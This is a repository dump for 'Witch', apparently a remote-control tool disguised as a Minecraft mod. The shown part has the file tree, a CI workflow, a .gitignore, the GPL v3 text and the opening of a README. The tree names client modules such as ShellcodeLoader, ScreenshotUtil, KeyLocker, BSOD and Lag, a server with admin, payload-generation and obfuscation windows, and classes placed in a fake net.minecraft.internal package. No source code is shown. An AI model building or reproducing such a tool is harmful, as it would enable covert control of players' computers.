├── .github └── workflows │ └── build.yml ├── .gitignore ├── LICENSE ├── README.md ├── build.gradle ├── client ├── build.gradle ├── proguard.pro └── src │ └── main │ ├── java │ ├── me │ │ └── soda │ │ │ └── witch │ │ │ └── client │ │ │ ├── Cfg.java │ │ │ ├── Witch.java │ │ │ ├── connection │ │ │ └── Client.java │ │ │ ├── events │ │ │ ├── AddMessageEvent.java │ │ │ ├── Cancellable.java │ │ │ ├── ChatScreenChatEvent.java │ │ │ ├── GameJoinEvent.java │ │ │ ├── SendCommandEvent.java │ │ │ ├── ServerButtonClickEvent.java │ │ │ └── TickEvent.java │ │ │ ├── modules │ │ │ ├── BSOD.java │ │ │ ├── ClientChatWindow.java │ │ │ ├── Follower.java │ │ │ ├── Lag.java │ │ │ ├── Lick.java │ │ │ ├── OpEveryone.java │ │ │ └── Spam.java │ │ │ └── utils │ │ │ ├── ChatUtils.java │ │ │ ├── KeyLocker.java │ │ │ ├── LoopThread.java │ │ │ ├── MCUtils.java │ │ │ ├── ScreenshotUtil.java │ │ │ └── ShellcodeLoader.java │ └── net │ │ └── minecraft │ │ └── internal │ │ └── mixin │ │ ├── ChatHudMixin.java │ │ ├── ChatScreenMixin.java │ │ ├── ClientPlayNetworkHandlerMixin.java │ │ ├── EntityMixin.java │ │ ├── GameMenuScreenMixin.java │ │ ├── GameRendererMixin.java │ │ ├── KeyboardMixin.java │ │ ├── MainMixin.java │ │ ├── MinecraftClientMixin.java │ │ ├── MultiplayerScreenMixin.java │ │ ├── PlayerSkinProviderAccessor.java │ │ └── WindowMixin.java │ └── resources │ ├── fabric.mod.json │ └── mod.mixins.json ├── data └── config │ ├── default.json │ └── server.json ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── huaji.png ├── img.png ├── server ├── build.gradle └── src │ └── main │ ├── java │ └── me │ │ └── soda │ │ └── witch │ │ └── server │ │ ├── Main.java │ │ ├── gui │ │ ├── AdminPanel.java │ │ ├── GUI.java │ │ ├── GenerateWindow.java │ │ ├── ObfuscateWindow.java │ │ └── ServerChatWindow.java │ │ ├── server │ │ ├── Server.java │ │ └── ServerConfig.java │ │ └── utils │ │ ├── ConfigModifier.java │ │ ├── Info.java │ │ └── Utils.java │ └── resources │ └── icon.png ├── settings.gradle └── shared ├── build.gradle └── src └── main └── java └── me └── soda └── witch └── shared ├── Crypto.java ├── FileUtil.java ├── LogUtil.java ├── NetUtil.java ├── ProgramUtil.java └── socket ├── Connection.java ├── TcpClient.java ├── TcpServer.java ├── Test.java └── messages ├── Data.java ├── Message.java └── messages ├── BooleanData.java ├── ByteData.java ├── ClientConfigData.java ├── DisconnectData.java ├── FollowData.java ├── MessageList.java ├── OKData.java ├── PlayerData.java ├── SpamData.java └── StringsData.java /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: build 2 | on: [ pull_request, push ] 3 | 4 | jobs: 5 | build: 6 | runs-on: ubuntu-latest 7 | steps: 8 | - name: Checkout repository 9 | uses: actions/checkout@v3 10 | - name: Setup JDK 17 11 | uses: actions/setup-java@v3 12 | with: 13 | distribution: 'zulu' 14 | java-version: '17' 15 | - name: Make gradle wrapper executable 16 | run: chmod +x ./gradlew 17 | - name: Build 18 | run: ./gradlew build 19 | - name: Upload build artifacts 20 | uses: actions/upload-artifact@v3 21 | with: 22 | name: Artifacts 23 | path: output -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # gradle 2 | 3 | .gradle/ 4 | build/ 5 | out/ 6 | classes/ 7 | 8 | # eclipse 9 | 10 | *.launch 11 | 12 | # idea 13 | 14 | .idea/ 15 | *.iml 16 | *.ipr 17 | *.iws 18 | 19 | # vscode 20 | 21 | .settings/ 22 | .vscode/ 23 | bin/ 24 | .classpath 25 | .project 26 | 27 | # macos 28 | 29 | *.DS_Store 30 | 31 | # fabric 32 | 33 | run/ 34 | 35 | # etc 36 | 37 | data/* 38 | !data/config/* 39 | output 40 | *.tmp -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

Witch

3 | 4 |
